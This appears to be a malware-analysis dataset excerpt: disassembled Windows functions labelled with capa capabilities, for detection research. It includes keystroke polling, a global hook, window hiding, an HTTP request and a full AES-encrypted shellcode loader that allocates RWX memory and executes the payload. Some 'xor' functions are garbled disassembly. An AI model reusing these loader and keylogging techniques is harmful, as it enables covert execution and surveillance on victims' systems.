joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49a4f4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
call sub.user32.dll_GetActiveWindow
mov dword [esp], eax
mov byte [esp + 4], 0
test bl, bl
je 0x49a51a
mov eax, esp
push eax
push 0x49a4bc
call sub.user32.dll_EnumWindows
jmp 0x49a52d
mov eax, esp
push eax
push 0x49a49c
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
call sub.user32.dll_EnumThreadWindows
movzx eax, byte [esp + 4]
pop ecx
pop edx
pop ebx
ret

Function at 0x49a5f0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov ebx, eax
movzx esi, word [0x49a640]
test bl, 4
je 0x49a604
or si, 1
test bl, 8
je 0x49a60d
or si, 4
test bl, 1
je 0x49a616
or si, 8
test bl, 2
je 0x49a61f
or si, 0x10
test bl, 0x10
je 0x49a628
or si, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a638
or si, 2
mov eax, esi
pop esi
pop ebx
ret

Function at 0x49a644
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
movzx ebx, word [0x49a680]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a65f
or bx, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a66f
or bx, 4
test esi, 0x20000000
je 0x49a67b
or bx, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x4a32f8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4a330a
add esp, 0xfffffff0
call fcn.004052c4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0043ae98
mov eax, dword [0x4b1fa8]
mov dword [eax + 4], ebx
mov dword [eax], 0x4a3754
mov eax, dword [0x4b1fb4]
mov dword [eax + 4], ebx
mov dword [eax], 0x4a3760
mov eax, ebx
call fcn.004a376c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x40], eax
mov dl, 1
mov eax, dword [0x42451c]
call fcn.00404d78
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x42451c]
call fcn.00404d78
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x42451c]
call fcn.00404d78
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x42451c]
call fcn.00404d78
mov dword [ebx + 0x5c], eax
mov dl, 1
mov eax, dword [0x42451c]
call fcn.00404d78
mov dword [ebx + 0x78], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x44], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x5c]
push eax
mov eax, 0x49dfec
push eax
push 0
push 0
mov eax, dword [0x4b2140]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x4456d8]
call fcn.0044a6e0
mov dword [ebx + 0x80], eax
mov dl, 1
mov eax, dword [0x4456d8]
call fcn.0044a6e0
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x4456d8]
call fcn.0044a6e0
mov dword [ebx + 0x7c], eax
mov dl, 1
mov eax, dword [0x4456d8]
call fcn.0044a6e0
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x4456d8]
call fcn.0044a6e0
mov dword [ebx + 0x8c], eax
mov eax, ebx
call fcn.004a3ccc
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4a3b3c
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4a3b3c
mov eax, dword [ebx + 0x7c]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4a3b3c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4a3b3c
mov eax, dword [ebx + 0x8c]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4a3b3c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4a3485
call fcn.0040531c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4a38dc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc60
push ebx
xor edx, edx
mov dword [ebp - 0x3a0], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a3a89
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x38], 0
jne 0x4a3a6a
mov dl, 1
mov eax, dword [0x426ae4]
call fcn.00432910
mov edx, dword [ebp - 4]
mov dword [edx + 0x38], eax
mov eax, dword [ebp - 4]
add eax, 0x3c
xor edx, edx
call fcn.00406860
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4a3a59
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00485f48
test al, al
je 0x4a3a4c
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 0x398], 0
lea ecx, [ebp - 0x39c]
mov edx, 0x4a3a98
lea eax, [ebp - 0x394]
call fcn.00411b34
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW_1
test eax, eax
jne 0x4a3a4c
xor eax, eax
push ebp
push 0x4a3a45
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x200
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push 0x4a3b08
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x4a3a2e
lea eax, [ebp - 0x3a0]
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.00406a48
mov edx, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x40]
jne 0x4a3a2e
mov eax, dword [ebp - 4]
add eax, 0x3c
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.00406a48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a3a4c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4a394f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
mov byte [eax + 0x29], 0
mov dl, 1
call fcn.0043284c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a3a90
lea eax, [ebp - 0x3a0]
call fcn.00406850
ret

Function at 0x4a45e8
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4b8280]
cmp byte [eax + 0xad], 0
jne 0x4a465a
cmp dword [0x4b8298], 0
jne 0x4a461a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, dword [0x4b1e7c]
push eax
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x4b8298], eax
cmp dword [0x4b8294], 0
jne 0x4a4635
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventW
mov dword [0x4b8294], eax
cmp dword [0x4b829c], 0
jne 0x4a465a
push esp
push 0
push 0
mov eax, dword [0x4b1e78]
push eax
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4b829c], eax
pop edx
ret
Function at 0x4a4980
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x4a4997
add esp, 0xfffffff0
call fcn.004052c4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0043ae98
mov eax, dword [0x4b1ee0]
cmp byte [eax], 0
jne 0x4a49c4
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x17c], al
mov eax, dword [0x4b2120]
cmp word [eax + 2], 0
jne 0x4a49de
mov eax, dword [0x4b2120]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004a6a78
mov eax, dword [0x4b21f4]
cmp word [eax + 2], 0
jne 0x4a49f8
mov eax, dword [0x4b21f4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004a6c88
mov byte [ebx + 0x35], 0
mov dl, 1
mov eax, dword [0x4456d8]
call fcn.0044a6e0
mov esi, eax
mov dword [ebx + 0x3c], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x4a7238
mov dl, 1
mov eax, dword [0x42451c]
call fcn.00404d78
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x42451c]
call fcn.00404d78
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x448d70]
call fcn.004514d8
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x4a4bd8
mov eax, dword [0x4b2020]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.0045196c
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4a7520
mov dl, 1
mov eax, dword [0x42451c]
call fcn.00404d78
mov dword [ebx + 0x98], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x4b2020]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.00411980
test eax, eax
je 0x4a4b09
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.00411764
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.00411964
test eax, eax
je 0x4a4b21
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW_1
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.00406a48
push ebx
push 0x4a6448
call fcn.0049a5d4
mov dword [ebx + 0x178], eax
mov byte [ebx + 0xd0], 0
mov eax, dword [0x4b1ee0]
cmp byte [eax], 0
jne 0x4a4b72
mov eax, ebx
call fcn.004a4d4c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
mov byte [ebx + 0xd1], 0
mov byte [ebx + 0xdc], 0
xor eax, eax
mov dword [ebx + 0xd4], eax
mov byte [ebx + 0xd3], 0
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.004a774c
mov eax, ebx
call fcn.004a8380
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4a4bcf
call fcn.0040531c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4a5020
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x170]
test eax, eax
je 0x4a50c2
cmp dword [ebx + 0x94], 0
jne 0x4a50bc
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4a4f6c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4a50bc
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4a5082
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4a50bc
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0042f2ec
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4a5091
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4a52e0
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x4b8280]
cmp dword [eax + 0x170], 0
je 0x4a5445
test bl, bl
jne 0x4a5393
cmp dword [esi + 0x9c], 0
jne 0x4a5388
mov eax, esi
call fcn.004a81d0
push eax
push 0x4a51ec
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x4a5359
mov eax, dword [0x4b8280]
cmp byte [eax + 0xd3], 0
je 0x4a5359
mov eax, dword [esi + 0xd8]
call fcn.00407e64
mov edi, eax
cmp edi, 0
jl 0x4a5359
push 0
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a5342
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a5388
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0042f2ec
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a5368
inc dword [esi + 0x9c]
jmp 0x4a5445
cmp dword [esi + 0x9c], 0
jle 0x4a5445
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x4a5445
cmp dword [esi + 0x44], 0
je 0x4a53f0
mov eax, dword [0x4b8280]
cmp byte [eax + 0xd3], 0
je 0x4a53f0
mov eax, dword [esi + 0xd8]
call fcn.00407e64
mov edi, eax
cmp edi, 0
jl 0x4a53f0
push 5
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a53d9
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a541f
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0042f2ec
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a53ff
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xd8]
mov ecx, 1
mov edx, dword [0x4984ac]
call fcn.00408024
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x4a6094
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4a60ff
cmp byte [ebx + 0xd3], 0
jne 0x4a60ff
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040699c
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4a60ec
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4a610c
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406860
jmp 0x4a610c
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406860
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4a7934
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4a79a2
mov eax, esi
call fcn.0047ff34
test al, al
je 0x4a79a2
mov eax, dword [ebx + 0x84]
call fcn.0047fb88
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4a79a2
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4a7996
push 0
mov eax, dword [ebx + 0x84]
call fcn.0047fb88
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00476b60
jmp 0x4a79a2
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004a776c
pop esi
pop ebx
ret

Function at 0x4a906c
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x4a90fd
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
mov eax, dword [0x4b82c4]
call fcn.004a8fbc
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0x4a9118
call fcn.00406d1c
push 0
push 0
push 0
push 1
push 0x4a9160
call sub.wininet.dll_InternetOpenW
mov ebx, eax
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004068ec
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlW
push eax
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
mov eax, 0x4b82c4
xor edx, edx
call fcn.00406860
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a9104
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406858
ret
Function at 0x408230
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428b66
mov eax, dword fs:[0]
push eax
sub esp, 0xb0
mov eax, dword [0x42f0c4]
xor eax, ebp
mov dword [ebp - 0x3c], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xb4], ecx
lea ecx, [ebp - 0x34]
call fcn.00408540
mov dword [ebp - 4], 0
push str.Decrypt
lea ecx, [ebp - 0x58]
call fcn.00402340
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xb4]
mov dword [eax + 0xb4], fcn.00403ed0
lea ecx, [ebp - 0x58]
push ecx
lea ecx, [ebp - 0x34]
call fcn.00408570
mov edx, dword [ebp - 0xb4]
mov ecx, dword [edx + 0xb4]
mov dword [eax], ecx
push 0x17
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x34]
call fcn.00408570
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0xb8], eax
mov edx, dword [ebp - 0xb8]
mov dword [ebp - 0xbc], edx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0xbc]
push eax
lea ecx, [ebp - 0x90]
call fcn.00402380
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xb0]
call fcn.004023c0
lea ecx, [ebp - 0x90]
call fcn.00402430
mov dword [ebp - 0x74], eax
mov byte [ebp - 0x11], 0x4c
mov byte [ebp - 0x70], 0x38
mov byte [ebp - 0x6f], 0x4a
mov byte [ebp - 0x6e], 0x39
mov byte [ebp - 0x6d], 0x51
mov byte [ebp - 0x6c], 0x5f
mov byte [ebp - 0x6b], 0x35
mov byte [ebp - 0x6a], 0x56
mov byte [ebp - 0x69], 0x37
mov byte [ebp - 0x68], 0x34
mov byte [ebp - 0x38], 0x47
mov byte [ebp - 0x37], 0x41
mov byte [ebp - 0x36], 0x35
mov byte [ebp - 0x94], 0x46
mov byte [ebp - 0x93], 0x30
mov byte [ebp - 0x92], 0x46
mov byte [ebp - 0x91], 0x38
mov byte [ebp - 0x64], 0x38
mov byte [ebp - 0x63], 0x38
mov byte [ebp - 0x62], 0x48
mov byte [ebp - 0x61], 0x45
mov byte [ebp - 0x60], 0x46
mov byte [ebp - 0x5f], 0x45
mov byte [ebp - 0x5e], 0x41
mov byte [ebp - 0x5d], 0x49
mov byte [ebp - 0x5c], 0x50
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x94]
push edx
mov eax, dword [ebp - 0x74]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x11]
push eax
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ecx + 0x8c]
push edx
mov ecx, dword [ebp - 0xb4]
call fcn.00406480
mov dword [ebp - 0x10], eax
push 0x400
mov eax, dword [ebp + 0x20]
push eax
push 0
call dword [ebp - 0x10]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x90]
call fcn.004023c0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.004023c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.004049e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x3c]
xor ecx, ebp
call fcn.0040b509
mov esp, ebp
pop ebp
ret 0x2c

Function at 0x40ef2d
Capabilities:
Encode data using xor

Disassembly:
and edi, edi
add byte [edi], ch
stc
sub al, 0xf7
xor eax, 0xe07c7547
mov ecx, dword [ebx - 0xa]
xchg esp, eax
xchg ebx, eax
sub dl, bl
invalid
Function at 0x41ce0f
Capabilities:
Encode data using xor

Disassembly:
outsd dx, dword [esi]
popfd
push ebp
invalid
sub dword [ebx], ebx
adc edi, dword [eax + ebx*2 - 0xafe56f6]
lodsb al, byte [esi]
push es
sbb bl, byte [esi]
jl 0x41cdaa
loope 0x41ce58
jmp 0x41cdfb
push esp
push 0x47ee412b
out dx, al
inc edi
xor edi, edx
sal byte [ebp - 0x99e242f], 0x6b
mov ebx, 0x27b65d9f
loop 0x41cdf7
mov ch, 2
invalid
sbb al, dh
test ebp, edi
out dx, al
imul esp, ecx, 0x5318d8d6
mov byte [ebp + edi*8 + 0x74], ah
sub al, 0x69
mov ah, 0x6c
pop esp
aam 0x91
xor ch, byte [ebx + 0x2bd649f0]
push es
xor eax, 0xaa35be7d
mov ecx, 0x4c77d86
jecxz 0x41ce5b
or byte [ecx + 0x70], bl
mov cl, 0xe
aad 0xb1
movsb byte es:[edi], byte [esi]
sub edx, edi
mov ebp, ecx
js 0x41cdd1
hlt
xor eax, 0xb5f2db6c
mov dh, cl
mov ch, 0xf3
mov dh, cl
ret 0xc9cd
Function at 0x401190
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
sub esp, 0x10
push esi
push edi
push 0x4171a0
push str.shellcode.aes
call fcn.0040493d
mov esi, eax
add esp, 8
test esi, esi
jne 0x4011c9
push str.Datei_konnte_nicht_geffnet_werden
call fcn.004045bb
add esp, 4
mov dword [0x41f968], esi
lea eax, [esi + 1]
pop edi
pop esi
add esp, 0x10
ret
push 2
push 0
push esi
call fcn.00404f51
push esi
call fcn.004055b0
push esi
mov edi, eax
call fcn.00405830
push edi
call fcn.004043bd
add esp, 0x18
mov dword [0x41f968], eax
test eax, eax
jne 0x40121b
push str.Speicher_konnte_nicht_zugewiesen_werden
call fcn.004045bb
push esi
call fcn.00404856
add esp, 8
mov dword [0x41f968], 0
mov eax, 1
pop edi
pop esi
add esp, 0x10
ret
push esi
push edi
push 1
push eax
call fcn.00404b2d
add esp, 0x10
cmp eax, edi
je 0x40125f
push str.Fehler_beim_Lesen_der_Datei
call fcn.004045bb
push dword [0x41f968]
call fcn.004043a2
push esi
call fcn.00404856
add esp, 0xc
mov dword [0x41f968], 0
mov eax, 1
pop edi
pop esi
add esp, 0x10
ret
push esi
call fcn.00404856
mov eax, dword [0x41f968]
add esp, 4
mov dword [0x41f968], eax
test eax, eax
je 0x401299
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x4012a4
push str.VirtualAlloc_fehlgeschlagen
call fcn.004045bb
add esp, 4
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
push ebx
mov ebx, dword [0x41f968]
lea eax, [esp + 0xc]
push 0xf0000000
push 0x18
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x401399
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x401399
push 0
push 0x10
push section..data
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x401399
lea eax, [esp + 0x14]
push eax
push 0
push dword [esp + 0x18]
push 0x6610
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x401399
lea eax, [esp + 0x18]
mov dword [esp + 0x18], edi
push eax
push ebx
push 0
push 0
push 0
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x401399
push 0
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push str.shellcode_should_be_decrypted_now___press_any_key...:
call fcn.004013d0
call fcn.00405745
push edi
push dword [0x41f968]
push esi
call fcn.00402090
push str.execute_the_shellcode___press_any_key...:
call fcn.004013d0
add esp, 0x14
call fcn.00405745
call esi
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
push str.Fehler_bei_der_Entschlsselung
call fcn.004045bb
add esp, 4
mov eax, 1
pop ebx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x401acb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b0a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b0a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b0a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b0a
cmp dword [ecx + 0x74], 0xe
jbe 0x401b0a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4053a9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00416710
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0040acc2
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4053eb
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x405547
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00416660
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x41ffe8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0040c323
mov ecx, dword [esi*4 + 0x41ffe8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x405540
cmp eax, dword [ecx + edi + 0x24]
jne 0x405540
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405540
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040c323
add esp, 0x14
test edx, edx
jl 0x405540
jg 0x4054b6
test eax, eax
jb 0x405540
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x405540
jl 0x4054d0
cmp dword [ebp - 0x1008], eax
ja 0x405540
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4054ee
test ebx, ebx
je 0x405527
cmp ecx, edi
jae 0x405527
mov al, byte [ecx]
cmp al, 0xd
jne 0x405508
lea eax, [edi - 1]
cmp ecx, eax
jae 0x405514
cmp byte [ecx + 1], 0xa
jne 0x405514
inc ecx
jmp 0x405514
movzx eax, al
movsx eax, byte [eax + 0x41f270]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4054ee
cmp edx, ebx
jne 0x4054ee
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
